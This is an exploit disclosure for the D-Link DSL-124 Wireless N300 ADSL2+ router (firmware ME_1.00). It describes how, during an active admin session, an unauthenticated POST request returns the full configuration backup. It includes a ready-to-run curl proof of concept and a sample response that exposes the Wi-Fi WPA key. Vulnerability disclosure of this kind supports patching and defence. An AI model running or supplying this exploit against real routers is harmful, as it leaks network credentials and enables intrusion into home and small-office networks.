# Exploit Title: DSL-124 Wireless N300 ADSL2+ - Backup File Disclosure # Date: 2022-11-10 # Exploit Author: Aryan Chehreghani # Vendor Homepage: https://www.dlink.com # Software Link: https://dlinkmea.com/index.php/product/details?det=dU1iNFc4cWRsdUpjWEpETFlSeFlZdz09 # Firmware Version: ME_1.00 # Tested on: Windows 11 # [ Details - DSL-124 ]: #The DSL-124 Wireless N300 ADSL2+ Modem Router is a versatile, high-performance router for a home or small office, #With integrated ADSL2/2+, supporting download speeds up to 24 Mbps, firewall protection, #Quality of Service (QoS),802.11n wireless LAN, and four Ethernet switch ports, #the Wireless N300 ADSL2+ Modem Router provides all the functions that a user needs to establish a secure and high-speed link to the Internet. # [ Description ]: #After the administrator enters and a new session is created, the attacker sends a request using the post method in her system, #and in response to sending this request, she receives a complete backup of the router settings, #In fact this happens because of the lack of management of users and sessions in the network. # [ POC ]: Request : curl -d "submit.htm?saveconf.htm=Back+Settings" -X POST http://192.168.1.1/form2saveConf.cgi Response : HTTP/1.1 200 OK Connection: close Server: Virtual Web 0.9 Content-Type: application/octet-stream; Content-Disposition: attachment;filename="config.img" Pragma: no-cache Cache-Control: no-cache <Config_Information_File_8671> <V N="WLAN_WPA_PSK" V="pass@12345"/> <V N="WLAN_WPA_PSK_FORMAT" V="0x0"/> <V N="WLAN_WPA_REKEY_TIME" V=""/> <V N="WLAN_ENABLE_1X" V="0x0"/> <V N="WLAN_ENABLE_MAC_AUTH" V="0x0"/> <V N="WLAN_RS_IP" V="0.0.0.0"/> . . . </Config_Information_File_8671>